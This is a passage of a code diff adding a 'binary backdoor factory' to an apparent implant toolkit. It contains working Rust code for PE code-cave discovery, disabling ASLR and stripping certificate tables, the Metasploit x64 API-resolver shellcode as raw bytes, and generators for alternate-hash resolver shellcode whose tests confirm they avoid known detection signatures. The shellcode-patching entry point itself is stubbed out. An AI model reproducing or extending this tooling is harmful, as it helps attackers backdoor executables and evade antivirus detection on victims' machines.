null terminator, uppercase) +fn fnv1a_module_hash(name: &str) -> u32 { + let mut hash: u32 = 0x811c9dc5; + let upper = name.to_uppercase(); + let utf16: Vec = upper.encode_utf16().chain(std::iter::once(0u16)).collect(); + let bytes: Vec = utf16.iter().flat_map(|c| c.to_le_bytes()).collect(); + for &b in &bytes { + hash ^= b as u32; + hash = hash.wrapping_mul(0x01000193); + } + hash +} + +/// Compute FNV-1a function hash (ASCII with null terminator) +fn fnv1a_func_hash(name: &str) -> u32 { + let mut hash: u32 = 0x811c9dc5; + for &b in name.as_bytes().iter().chain(std::iter::once(&0u8)) { + hash ^= b as u32; + hash = hash.wrapping_mul(0x01000193); + } + hash +} + +/// Compute combined API hash for a given algorithm +pub fn compute_api_hash(algo: &HashAlgorithm, module: &str, function: &str) -> u32 { + match algo { + HashAlgorithm::Ror13 => ror13_module_hash(module).wrapping_add(ror13_func_hash(function)), + HashAlgorithm::Djb2 => djb2_module_hash(module).wrapping_add(djb2_func_hash(function)), + HashAlgorithm::Fnv1a => fnv1a_module_hash(module).wrapping_add(fnv1a_func_hash(function)), + } +} + +/// Build hash table for a given algorithm +pub fn build_hash_table(algo: &HashAlgorithm) -> ApiHashTable { + ApiHashTable { + virtual_alloc: compute_api_hash(algo, "kernel32.dll", "VirtualAlloc"), + create_thread: compute_api_hash(algo, "kernel32.dll", "CreateThread"), + wait_for_single_object: compute_api_hash(algo, "kernel32.dll", "WaitForSingleObject"), + sleep: compute_api_hash(algo, "kernel32.dll", "Sleep"), + convert_thread_to_fiber: compute_api_hash(algo, "kernel32.dll", "ConvertThreadToFiber"), + create_fiber: compute_api_hash(algo, "kernel32.dll", "CreateFiber"), + switch_to_fiber: compute_api_hash(algo, "kernel32.dll", "SwitchToFiber"), + queue_user_apc: compute_api_hash(algo, "kernel32.dll", "QueueUserAPC"), + load_library_a: compute_api_hash(algo, "kernel32.dll", "LoadLibraryA"), + enum_system_locales_a: compute_api_hash(algo, "kernel32.dll", "EnumSystemLocalesA"), + nt_test_alert: compute_api_hash(algo, "ntdll.dll", "NtTestAlert"), + nt_create_thread_ex: compute_api_hash(algo, "ntdll.dll", "NtCreateThreadEx"), + tp_alloc_work: compute_api_hash(algo, "ntdll.dll", "TpAllocWork"), + tp_post_work: compute_api_hash(algo, "ntdll.dll", "TpPostWork"), + tp_release_work: compute_api_hash(algo, "ntdll.dll", "TpReleaseWork"), + enum_fonts_a: compute_api_hash(algo, "gdi32.dll", "EnumFontsA"), + get_dc: compute_api_hash(algo, "user32.dll", "GetDC"), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_ror13_known_hashes() { + // Cross-validate against known ror13 constants from pe.rs + let table = build_hash_table(&HashAlgorithm::Ror13); + assert_eq!( + table.virtual_alloc, 0xe553a458, + "VirtualAlloc hash mismatch" + ); + assert_eq!( + table.create_thread, 0x160d6838, + "CreateThread hash mismatch" + ); + assert_eq!( + table.wait_for_single_object, 0x601d8708, + "WaitForSingleObject hash mismatch" + ); + assert_eq!(table.sleep, 0xe035f044, "Sleep hash mismatch"); + assert_eq!( + table.queue_user_apc, 0x3e8802d6, + "QueueUserAPC hash mismatch" + ); + assert_eq!(table.nt_test_alert, 0xf3afa26d, "NtTestAlert hash mismatch"); + assert_eq!( + table.load_library_a, 0x0726774c, + "LoadLibraryA hash mismatch" + ); + assert_eq!(table.enum_fonts_a, 0xf2108379, "EnumFontsA hash mismatch"); + assert_eq!(table.get_dc, 0x5c2f01fc, "GetDC hash mismatch"); + } + + #[test] + fn test_djb2_different_from_ror13() { + let ror13 = build_hash_table(&HashAlgorithm::Ror13); + let djb2 = build_hash_table(&HashAlgorithm::Djb2); + assert_ne!(ror13.virtual_alloc, djb2.virtual_alloc); + assert_ne!(ror13.create_thread, djb2.create_thread); + } + + #[test] + fn test_fnv1a_different_from_ror13() { + let ror13 = build_hash_table(&HashAlgorithm::Ror13); + let fnv1a = build_hash_table(&HashAlgorithm::Fnv1a); + assert_ne!(ror13.virtual_alloc, fnv1a.virtual_alloc); + assert_ne!(ror13.create_thread, fnv1a.create_thread); + } + + #[test] + fn test_hash_table_no_collisions() { + // Verify no two different APIs produce the same hash within each algorithm + for algo in &[ + HashAlgorithm::Ror13, + HashAlgorithm::Djb2, + HashAlgorithm::Fnv1a, + ] { + let t = build_hash_table(algo); + let hashes = vec![ + t.virtual_alloc, + t.create_thread, + t.wait_for_single_object, + t.sleep, + t.convert_thread_to_fiber, + t.create_fiber, + t.switch_to_fiber, + t.queue_user_apc, + t.load_library_a, + t.enum_system_locales_a, + t.nt_test_alert, + t.nt_create_thread_ex, + t.tp_alloc_work, + t.tp_post_work, + t.tp_release_work, + t.enum_fonts_a, + t.get_dc, + ]; + let unique: std::collections::HashSet = hashes.iter().cloned().collect(); + assert_eq!( + hashes.len(), + unique.len(), + "Hash collision detected for algorithm {:?}", + algo + ); + } + } + + #[test] + fn test_evasion_presets() { + let none = StubEvasion::from_preset("none").unwrap(); + assert_eq!(none.hash_algorithm, HashAlgorithm::Ror13); + assert_eq!(none.poly_level, PolyLevel::None); + assert!(!none.encrypt); + + let full = StubEvasion::from_preset("full").unwrap(); + assert_ne!(full.hash_algorithm, HashAlgorithm::Ror13); + assert_eq!(full.poly_level, PolyLevel::Full); + assert!(full.encrypt); + } + + #[test] + fn test_evasion_is_enabled() { + assert!(!StubEvasion::default().is_enabled()); + assert!(StubEvasion::from_preset("basic").unwrap().is_enabled()); + } +} diff --git a/malefic-mutant/src/tool/loader/bdf/mod.rs b/malefic-mutant/src/tool/loader/bdf/mod.rs new file mode 100644 index 0000000..874745f --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/mod.rs @@ -0,0 +1,44 @@ +//! Binary backdoor factory - PE code cave injection and section addition + +pub mod evasion; +pub mod pe; +pub mod resolver; + +/// Describes a contiguous block of null bytes inside a PE section. +#[derive(Debug, Clone)] +pub struct CodeCave { + pub section_name: String, + pub section_index: usize, + pub start: u64, + pub end: u64, + pub virtual_address: u64, + pub size: usize, +} + +/// Scan raw section data for runs of null bytes that meet `min_size`. +pub fn find_caves(data: &[u8], min_size: usize) -> Vec { + let mut caves = Vec::new(); + let mut i = 0; + while i < data.len() { + if data[i] == 0 { + let start = i; + while i < data.len() && data[i] == 0 { + i += 1; + } + let size = i - start; + if size >= min_size { + caves.push(CodeCave { + section_name: String::new(), + section_index: 0, + start: start as u64, + end: i as u64, + virtual_address: 0, + size, + }); + } + } else { + i += 1; + } + } + caves +} diff --git a/malefic-mutant/src/tool/loader/bdf/pe.rs b/malefic-mutant/src/tool/loader/bdf/pe.rs new file mode 100644 index 0000000..8ea6489 --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/pe.rs @@ -0,0 +1,230 @@ +//! PE (Portable Executable) backdooring engine +//! +//! Supports: +//! - PE header parsing and information extraction +//! - Code cave discovery +//! - ASLR disable, certificate table zeroing +#![allow(dead_code)] + +use super::evasion::StubEvasion; +use super::{find_caves, CodeCave}; +use anyhow::{anyhow, Result}; +use goblin::pe::PE; + +/// PE file information +#[derive(Debug)] +pub struct PeInfo { + pub is_64bit: bool, + pub machine_type: u16, + pub entry_point: u64, + pub image_base: u64, + pub section_alignment: u32, + pub file_alignment: u32, + pub number_of_sections: u16, + pub size_of_image: u32, + pub size_of_headers: u32, + pub cert_table_offset: u64, + pub cert_table_size: u32, +} + +/// Thread wait strategy after shellcode execution in the stub +#[derive(Debug, Clone)] +pub enum ThreadWait { + None, + WaitInfinite, + Sleep(u32), +} + +/// Execution technique for the stub +#[derive(Debug, Clone)] +pub enum ExecutionTechnique { + Direct, + CreateThread, +} + +impl std::fmt::Display for ExecutionTechnique { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Direct => write!(f, "direct"), + Self::CreateThread => write!(f, "create_thread"), + } + } +} + +impl ExecutionTechnique { + pub fn from_str(s: &str) -> Result { + match s { + "direct" | "func_ptr" => Ok(Self::Direct), + "create_thread" => Ok(Self::CreateThread), + _ => Err(anyhow!( + "Unknown technique: '{}'. Community edition supports: direct, create_thread", + s + )), + } + } + + pub fn list() -> &'static [&'static str] { + &["direct", "create_thread"] + } + + pub fn is_synchronous(&self) -> bool { + matches!(self, Self::Direct) + } +} + +/// Options for PE patching +#[derive(Debug, Clone)] +pub struct PatchPeOptions { + pub add_section: bool, + pub section_name: String, + pub min_cave_size: usize, + pub disable_aslr: bool, + pub zero_cert: bool, + pub thread_wait: ThreadWait, + pub execution_technique: ExecutionTechnique, + pub evasion: StubEvasion, +} + +impl Default for PatchPeOptions { + fn default() -> Self { + Self { + add_section: false, + section_name: ".sdata".to_string(), + min_cave_size: 380, + disable_aslr: true, + zero_cert: true, + thread_wait: ThreadWait::None, + execution_technique: ExecutionTechnique::CreateThread, + evasion: StubEvasion::default(), + } + } +} + +/// Main orchestrator: patch a PE binary with shellcode +/// +/// Patch a PE binary with shellcode (not implemented) +pub fn patch_pe(_data: &[u8], _shellcode: &[u8], _options: &PatchPeOptions) -> Result> { + Err(anyhow!("PE patching with stub generation is not available in this build")) +} + +/// Gather PE file information from parsed headers +pub fn gather_pe_info(pe: &PE, _data: &[u8]) -> Result { + let header = &pe.header; + let optional = header + .optional_header + .ok_or_else(|| anyhow!("No optional header"))?; + + let is_64bit = optional.standard_fields.magic == 0x20B; + + let (cert_offset, cert_size) = + if let Some(data_dirs) = optional.data_directories.get_certificate_table() { + (data_dirs.virtual_address as u64, data_dirs.size) + } else { + (0, 0) + }; + + Ok(PeInfo { + is_64bit, + machine_type: header.coff_header.machine, + entry_point: optional.standard_fields.address_of_entry_point as u64, + image_base: optional.windows_fields.image_base, + section_alignment: optional.windows_fields.section_alignment, + file_alignment: optional.windows_fields.file_alignment, + number_of_sections: header.coff_header.number_of_sections, + size_of_image: optional.windows_fields.size_of_image, + size_of_headers: optional.windows_fields.size_of_headers, + cert_table_offset: cert_offset, + cert_table_size: cert_size, + }) +} + +/// Find code caves in PE sections +pub fn find_pe_caves(pe: &PE, data: &[u8], min_size: usize) -> Vec { + let mut all_caves = Vec::new(); + + for (idx, section) in pe.sections.iter().enumerate() { + let name = String::from_utf8_lossy(§ion.name) + .trim_end_matches('\0') + .to_string(); + let start = section.pointer_to_raw_data as usize; + let raw_size = section.size_of_raw_data as usize; + let va = section.virtual_address; + + if start + raw_size > data.len() || raw_size == 0 { + continue; + } + + let section_data = &data[start..start + raw_size]; + let mut caves = find_caves(section_data, min_size); + + for cave in &mut caves { + let offset_in_section = cave.start; + cave.section_name = name.clone(); + cave.section_index = idx; + cave.start += start as u64; + cave.end += start as u64; + cave.virtual_address = va as u64 + offset_in_section; + } + + all_caves.extend(caves); + } + + all_caves +} + +/// Disable ASLR by clearing DYNAMIC_BASE flag in DllCharacteristics +pub fn disable_aslr(data: &mut [u8], pe: &PE) -> Result<()> { + let pe_offset = pe.header.dos_header.pe_pointer as usize; + let dll_char_offset = pe_offset + 24 + 0x46; + if dll_char_offset + 2 <= data.len() { + let current = u16::from_le_bytes([data[dll_char_offset], data[dll_char_offset + 1]]); + let new_val = current & !0x40; + data[dll_char_offset..dll_char_offset + 2].copy_from_slice(&new_val.to_le_bytes()); + } + Ok(()) +} + +/// Standard Metasploit ror13 block_api resolver for x64 (192 bytes). +/// +/// This is used by the resolver module for the Ror13 hash algorithm variant. +#[rustfmt::skip] +pub static BLOCK_API: [u8; 192] = [ + 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, + 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, + 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, + 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xf1, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, + 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, + 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, + 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, + 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, + 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, + 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, + 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, + 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, +]; + +/// Zero out the certificate table pointer +pub fn zero_cert_table(data: &mut [u8], pe: &PE) -> Result<()> { + let pe_offset = pe.header.dos_header.pe_pointer as usize; + let optional_offset = pe_offset + 24; + + let is_64bit = pe + .header + .optional_header + .map(|h| h.standard_fields.magic == 0x20B) + .unwrap_or(false); + + let cert_dir_offset = if is_64bit { + optional_offset + 144 + } else { + optional_offset + 128 + }; + + if cert_dir_offset + 8 <= data.len() { + for i in 0..8 { + data[cert_dir_offset + i] = 0; + } + } + + Ok(()) +} diff --git a/malefic-mutant/src/tool/loader/bdf/resolver.rs b/malefic-mutant/src/tool/loader/bdf/resolver.rs new file mode 100644 index 0000000..46bc124 --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/resolver.rs @@ -0,0 +1,392 @@ +//! Dynamic block_api resolver generation for different hash algorithms. +//! +//! Generates position-independent x64 API resolvers that use the same +//! PEB walk + export table traversal structure but with different hash kernels. + +use super::evasion::HashAlgorithm; + +/// Generate a block_api resolver for the given hash algorithm (x64). +/// +/// The resolver follows the same calling convention as Metasploit's block_api: +/// - Input: r10d = target hash +/// - Output: jumps to resolved function (function returns to caller) +/// - Clobbers: rax, rcx, rdx, rsi, r8, r9 (saved/restored internally) +/// +/// Returns the raw bytes of the resolver. +pub fn generate_block_api_x64(algo: &HashAlgorithm) -> Vec { + match algo { + HashAlgorithm::Ror13 => { + // Return the original Metasploit ror13 resolver + super::pe::BLOCK_API.to_vec() + } + HashAlgorithm::Djb2 => generate_djb2_resolver_x64(), + HashAlgorithm::Fnv1a => generate_fnv1a_resolver_x64(), + } +} + +/// DJB2 resolver: hash = hash * 33 + c, init = 5381 +/// +/// Structure mirrors ror13 block_api but replaces hash computation. +fn generate_djb2_resolver_x64() -> Vec { + let mut code = Vec::with_capacity(220); + + // === Save registers (same as ror13 block_api) === + code.extend_from_slice(&[0x41, 0x51]); // push r9 + code.extend_from_slice(&[0x41, 0x50]); // push r8 + code.push(0x52); // push rdx + code.push(0x51); // push rcx + code.push(0x56); // push rsi + + // === PEB walk === + code.extend_from_slice(&[0x48, 0x31, 0xd2]); // xor rdx, rdx + code.extend_from_slice(&[0x65, 0x48, 0x8b, 0x52, 0x60]); // mov rdx, gs:[rdx+0x60] (PEB) + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x18]); // mov rdx, [rdx+0x18] (Ldr) + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); // mov rdx, [rdx+0x20] (InMemoryOrderModuleList) + + // === Module loop start === + let module_loop_top = code.len(); + + // Load module name pointer + length + code.extend_from_slice(&[0x48, 0x8b, 0x72, 0x50]); // mov rsi, [rdx+0x50] (BaseDllName.Buffer) + code.extend_from_slice(&[0x48, 0x0f, 0xb7, 0x4a, 0x4a]); // movzx rcx, word [rdx+0x4a] (MaximumLength) + + // Init module hash: mov r9d, 5381 (0x1505) + code.extend_from_slice(&[0x41, 0xb9, 0x05, 0x15, 0x00, 0x00]); // mov r9d, 0x1505 + + // === DJB2 module name hash loop === + // hash = hash * 33 + c (with uppercase conversion for case-insensitive matching) + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let mod_hash_loop = code.len(); + code.push(0xac); // lodsb + // Uppercase conversion (matches ror13 block_api behavior) + code.extend_from_slice(&[0x3c, 0x61]); // cmp al, 0x61 ('a') + code.extend_from_slice(&[0x7c, 0x02]); // jl +2 (skip sub) + code.extend_from_slice(&[0x2c, 0x20]); // sub al, 0x20 (to uppercase) + // r9d = r9d * 33: imul r9d, r9d, 33 + code.extend_from_slice(&[0x45, 0x6b, 0xc9, 0x21]); // imul r9d, r9d, 33 + code.extend_from_slice(&[0x41, 0x01, 0xc1]); // add r9d, eax + code.push(0xe2); // loop + let loop_offset = (mod_hash_loop as isize) - (code.len() as isize + 1); + code.push(loop_offset as u8); // rel8 back to lodsb + + // Save module hash + module pointer + code.push(0x52); // push rdx + code.extend_from_slice(&[0x41, 0x51]); // push r9 + + // === Export table walk === + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); // mov rdx, [rdx+0x20] (InInitOrder -> DllBase) + code.extend_from_slice(&[0x8b, 0x42, 0x3c]); // mov eax, [rdx+0x3c] (e_lfanew) + code.extend_from_slice(&[0x48, 0x01, 0xd0]); // add rax, rdx + code.extend_from_slice(&[0x8b, 0x80, 0x88, 0x00, 0x00, 0x00]); // mov eax, [rax+0x88] (export dir RVA) + code.extend_from_slice(&[0x48, 0x85, 0xc0]); // test rax, rax + + // jz skip_module (will fixup) + code.push(0x74); + let jz_skip_pos = code.len(); + code.push(0x00); // placeholder + + code.extend_from_slice(&[0x48, 0x01, 0xd0]); // add rax, rdx + code.push(0x50); // push rax (save export dir) + code.extend_from_slice(&[0x8b, 0x48, 0x18]); // mov ecx, [rax+0x18] (NumberOfNames) + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x20]); // mov r8d, [rax+0x20] (AddressOfNames RVA) + code.extend_from_slice(&[0x49, 0x01, 0xd0]); // add r8, rdx + + // === Function name loop === + // jnz jumps back here (before jcxz) to re-check rcx==0 each iteration, + // matching ror13 block_api control flow and preventing rcx underflow + let func_loop_top = code.len(); + + // jcxz next_module (skip if no more names) + code.push(0xe3); + let jcxz_pos = code.len(); + code.push(0x00); // placeholder + + code.extend_from_slice(&[0x48, 0xff, 0xc9]); // dec rcx + code.extend_from_slice(&[0x41, 0x8b, 0x34, 0x88]); // mov esi, [r8+rcx*4] + code.extend_from_slice(&[0x48, 0x01, 0xd6]); // add rsi, rdx + + // Init func hash: mov r9d, 5381 + code.extend_from_slice(&[0x41, 0xb9, 0x05, 0x15, 0x00, 0x00]); // mov r9d, 0x1505 + + // DJB2 function name hash loop + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let func_hash_loop = code.len(); + code.push(0xac); // lodsb + code.extend_from_slice(&[0x45, 0x6b, 0xc9, 0x21]); // imul r9d, r9d, 33 + code.extend_from_slice(&[0x41, 0x01, 0xc1]); // add r9d, eax + code.extend_from_slice(&[0x38, 0xe0]); // cmp al, ah (test null terminator) + code.push(0x75); // jnz + let func_loop_offset = func_hash_loop as isize - (code.len() as isize + 1); + code.push(func_loop_offset as u8); + + // Combine: add r9, [rsp+8] (add module hash) + code.extend_from_slice(&[0x4c, 0x03, 0x4c, 0x24, 0x08]); + // Compare: cmp r9d, r10d (target hash) + code.extend_from_slice(&[0x45, 0x39, 0xd1]); + // jnz next_func + code.push(0x75); + let jnz_next_func = func_loop_top as isize - (code.len() as isize + 1); + code.push(jnz_next_func as u8); + + // === Found: resolve address === + code.push(0x58); // pop rax (export dir) + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x24]); // mov r8d, [rax+0x24] (AddressOfNameOrdinals) + code.extend_from_slice(&[0x49, 0x01, 0xd0]); // add r8, rdx + code.extend_from_slice(&[0x66, 0x41, 0x8b, 0x0c, 0x48]); // mov cx, [r8+rcx*2] + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x1c]); // mov r8d, [rax+0x1c] (AddressOfFunctions) + code.extend_from_slice(&[0x49, 0x01, 0xd0]); // add r8, rdx + code.extend_from_slice(&[0x41, 0x8b, 0x04, 0x88]); // mov eax, [r8+rcx*4] + code.extend_from_slice(&[0x48, 0x01, 0xd0]); // add rax, rdx + + // === Dispatch: restore regs + jump === + code.extend_from_slice(&[0x41, 0x58]); // pop r8 (was module hash) + code.extend_from_slice(&[0x41, 0x58]); // pop r8 (was module ptr) + code.push(0x5e); // pop rsi + code.push(0x59); // pop rcx + code.push(0x5a); // pop rdx + code.extend_from_slice(&[0x41, 0x58]); // pop r8 + code.extend_from_slice(&[0x41, 0x59]); // pop r9 + code.extend_from_slice(&[0x41, 0x5a]); // pop r10 + code.extend_from_slice(&[0x48, 0x83, 0xec, 0x20]); // sub rsp, 0x20 (shadow space) + code.extend_from_slice(&[0x41, 0x52]); // push r10 + code.extend_from_slice(&[0xff, 0xe0]); // jmp rax + + // === Not found in this module: next module === + let not_found_pos = code.len(); + code.push(0x58); // pop rax (clean export dir from stack) + + // Fixup jcxz target + code[jcxz_pos] = (not_found_pos - jcxz_pos - 1) as u8; + + code.extend_from_slice(&[0x41, 0x59]); // pop r9 (module hash) + code.push(0x5a); // pop rdx (module ptr) + code.extend_from_slice(&[0x48, 0x8b, 0x12]); // mov rdx, [rdx] (next module) + + // jmp module_loop_top + code.push(0xe9); + let jmp_offset = (module_loop_top as i32) - (code.len() as i32 + 4); + code.extend_from_slice(&jmp_offset.to_le_bytes()); + + // Fixup jz skip_module + // When jz fires (no export dir), export dir was never pushed, so skip pop rax. + // jz target = not_found_pos + 1 (after the pop rax byte) + code[jz_skip_pos] = (not_found_pos + 1 - jz_skip_pos - 1) as u8; + + code +} + +/// FNV-1a resolver: hash = (hash ^ c) * 0x01000193, init = 0x811c9dc5 +fn generate_fnv1a_resolver_x64() -> Vec { + let mut code = Vec::with_capacity(220); + + // === Save registers === + code.extend_from_slice(&[0x41, 0x51]); // push r9 + code.extend_from_slice(&[0x41, 0x50]); // push r8 + code.push(0x52); // push rdx + code.push(0x51); // push rcx + code.push(0x56); // push rsi + + // === PEB walk === + code.extend_from_slice(&[0x48, 0x31, 0xd2]); // xor rdx, rdx + code.extend_from_slice(&[0x65, 0x48, 0x8b, 0x52, 0x60]); // mov rdx, gs:[rdx+0x60] + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x18]); // mov rdx, [rdx+0x18] + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); // mov rdx, [rdx+0x20] + + let module_loop_top = code.len(); + + code.extend_from_slice(&[0x48, 0x8b, 0x72, 0x50]); // mov rsi, [rdx+0x50] + code.extend_from_slice(&[0x48, 0x0f, 0xb7, 0x4a, 0x4a]); // movzx rcx, word [rdx+0x4a] + + // Init module hash: mov r9d, 0x811c9dc5 + code.extend_from_slice(&[0x41, 0xb9, 0xc5, 0x9d, 0x1c, 0x81]); // mov r9d, 0x811c9dc5 + + // FNV-1a module hash loop (with uppercase conversion) + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let mod_hash_loop = code.len(); + code.push(0xac); // lodsb + // Uppercase conversion (matches ror13 block_api behavior) + code.extend_from_slice(&[0x3c, 0x61]); // cmp al, 0x61 ('a') + code.extend_from_slice(&[0x7c, 0x02]); // jl +2 (skip sub) + code.extend_from_slice(&[0x2c, 0x20]); // sub al, 0x20 (to uppercase) + // r9d ^= eax + code.extend_from_slice(&[0x41, 0x31, 0xc1]); // xor r9d, eax + // r9d *= 0x01000193: imul r9d, r9d, 0x01000193 + code.extend_from_slice(&[0x45, 0x69, 0xc9, 0x93, 0x01, 0x00, 0x01]); // imul r9d, r9d, 0x01000193 + code.push(0xe2); // loop + let loop_offset = mod_hash_loop as isize - (code.len() as isize + 1); + code.push(loop_offset as u8); + + code.push(0x52); // push rdx + code.extend_from_slice(&[0x41, 0x51]); // push r9 + + // === Export table walk (identical structure) === + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); + code.extend_from_slice(&[0x8b, 0x42, 0x3c]); + code.extend_from_slice(&[0x48, 0x01, 0xd0]); + code.extend_from_slice(&[0x8b, 0x80, 0x88, 0x00, 0x00, 0x00]); + code.extend_from_slice(&[0x48, 0x85, 0xc0]); + + code.push(0x74); + let jz_skip_pos = code.len(); + code.push(0x00); + + code.extend_from_slice(&[0x48, 0x01, 0xd0]); + code.push(0x50); + code.extend_from_slice(&[0x8b, 0x48, 0x18]); + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x20]); + code.extend_from_slice(&[0x49, 0x01, 0xd0]); + + // === Function name loop === + // jnz jumps back here (before jcxz) to re-check rcx==0 each iteration + let func_loop_top = code.len(); + + code.push(0xe3); + let jcxz_pos = code.len(); + code.push(0x00); + + code.extend_from_slice(&[0x48, 0xff, 0xc9]); // dec rcx + code.extend_from_slice(&[0x41, 0x8b, 0x34, 0x88]); // mov esi, [r8+rcx*4] + code.extend_from_slice(&[0x48, 0x01, 0xd6]); // add rsi, rdx + + // Init func hash: mov r9d, 0x811c9dc5 + code.extend_from_slice(&[0x41, 0xb9, 0xc5, 0x9d, 0x1c, 0x81]); + + // FNV-1a function hash loop + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let func_hash_loop = code.len(); + code.push(0xac); // lodsb + code.extend_from_slice(&[0x41, 0x31, 0xc1]); // xor r9d, eax + code.extend_from_slice(&[0x45, 0x69, 0xc9, 0x93, 0x01, 0x00, 0x01]); // imul r9d, r9d, 0x01000193 + code.extend_from_slice(&[0x38, 0xe0]); // cmp al, ah + code.push(0x75); + let func_loop_offset = func_hash_loop as isize - (code.len() as isize + 1); + code.push(func_loop_offset as u8); + + code.extend_from_slice(&[0x4c, 0x03, 0x4c, 0x24, 0x08]); + code.extend_from_slice(&[0x45, 0x39, 0xd1]); + code.push(0x75); + let jnz_next_func = func_loop_top as isize - (code.len() as isize + 1); + code.push(jnz_next_func as u8); + + // === Found === + code.push(0x58); + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x24]); + code.extend_from_slice(&[0x49, 0x01, 0xd0]); + code.extend_from_slice(&[0x66, 0x41, 0x8b, 0x0c, 0x48]); + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x1c]); + code.extend_from_slice(&[0x49, 0x01, 0xd0]); + code.extend_from_slice(&[0x41, 0x8b, 0x04, 0x88]); + code.extend_from_slice(&[0x48, 0x01, 0xd0]); + + // === Dispatch === + code.extend_from_slice(&[0x41, 0x58]); + code.extend_from_slice(&[0x41, 0x58]); + code.push(0x5e); + code.push(0x59); + code.push(0x5a); + code.extend_from_slice(&[0x41, 0x58]); + code.extend_from_slice(&[0x41, 0x59]); + code.extend_from_slice(&[0x41, 0x5a]); + code.extend_from_slice(&[0x48, 0x83, 0xec, 0x20]); + code.extend_from_slice(&[0x41, 0x52]); + code.extend_from_slice(&[0xff, 0xe0]); + + // === Next module === + let not_found_pos = code.len(); + code.push(0x58); + + code[jcxz_pos] = (not_found_pos - jcxz_pos - 1) as u8; + + code.extend_from_slice(&[0x41, 0x59]); + code.push(0x5a); + code.extend_from_slice(&[0x48, 0x8b, 0x12]); + + code.push(0xe9); + let jmp_offset = (module_loop_top as i32) - (code.len() as i32 + 4); + code.extend_from_slice(&jmp_offset.to_le_bytes()); + + code[jz_skip_pos] = (not_found_pos + 1 - jz_skip_pos - 1) as u8; + + code +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_ror13_resolver_matches_constant() { + let resolver = generate_block_api_x64(&HashAlgorithm::Ror13); + assert_eq!(resolver.len(), 192, "ror13 resolver should be 192 bytes"); + assert_eq!(resolver, super::super::pe::BLOCK_API.to_vec()); + } + + #[test] + fn test_djb2_resolver_no_ror13_signature() { + let resolver = generate_block_api_x64(&HashAlgorithm::Djb2); + // Should NOT contain ror r9d, 0x0d (41 c1 c9 0d) + let ror13_sig = [0x41u8, 0xc1, 0xc9, 0x0d]; + assert!( + !resolver.windows(4).any(|w| w == ror13_sig), + "DJB2 resolver should not contain ror13 signature bytes" + ); + // Should contain DJB2 init value 5381 = 0x1505 + let init_val = [0x05u8, 0x15, 0x00, 0x00]; + assert!( + resolver.windows(4).any(|w| w == init_val), + "DJB2 resolver should contain init value 5381" + ); + } + + #[test] + fn test_fnv1a_resolver_no_ror13_signature() { + let resolver = generate_block_api_x64(&HashAlgorithm::Fnv1a); + let ror13_sig = [0x41u8, 0xc1, 0xc9, 0x0d]; + assert!( + !resolver.windows(4).any(|w| w == ror13_sig), + "FNV-1a resolver should not contain ror13 signature bytes" + ); + // Should contain FNV prime 0x01000193 + let prime = [0x93u8, 0x01, 0x00, 0x01]; + assert!( + resolver.windows(4).any(|w| w == prime), + "FNV-1a resolver should contain FNV prime" + ); + } + + #[test] + fn test_resolver_sizes_reasonable() { + for algo in &[ + HashAlgorithm::Ror13, + HashAlgorithm::Djb2, + HashAlgorithm::Fnv1a, + ] { + let resolver = generate_block_api_x64(algo); + assert!( + resolver.len() >= 150 && resolver.len() <= 250, + "{:?} resolver size {} out of range [150, 250]", + algo, + resolver.len() + ); + } + } + + #[test] + fn test_all_resolvers_start_with_push_sequence() { + // All resolvers should start with push r9; push r8; push rdx; push rcx; 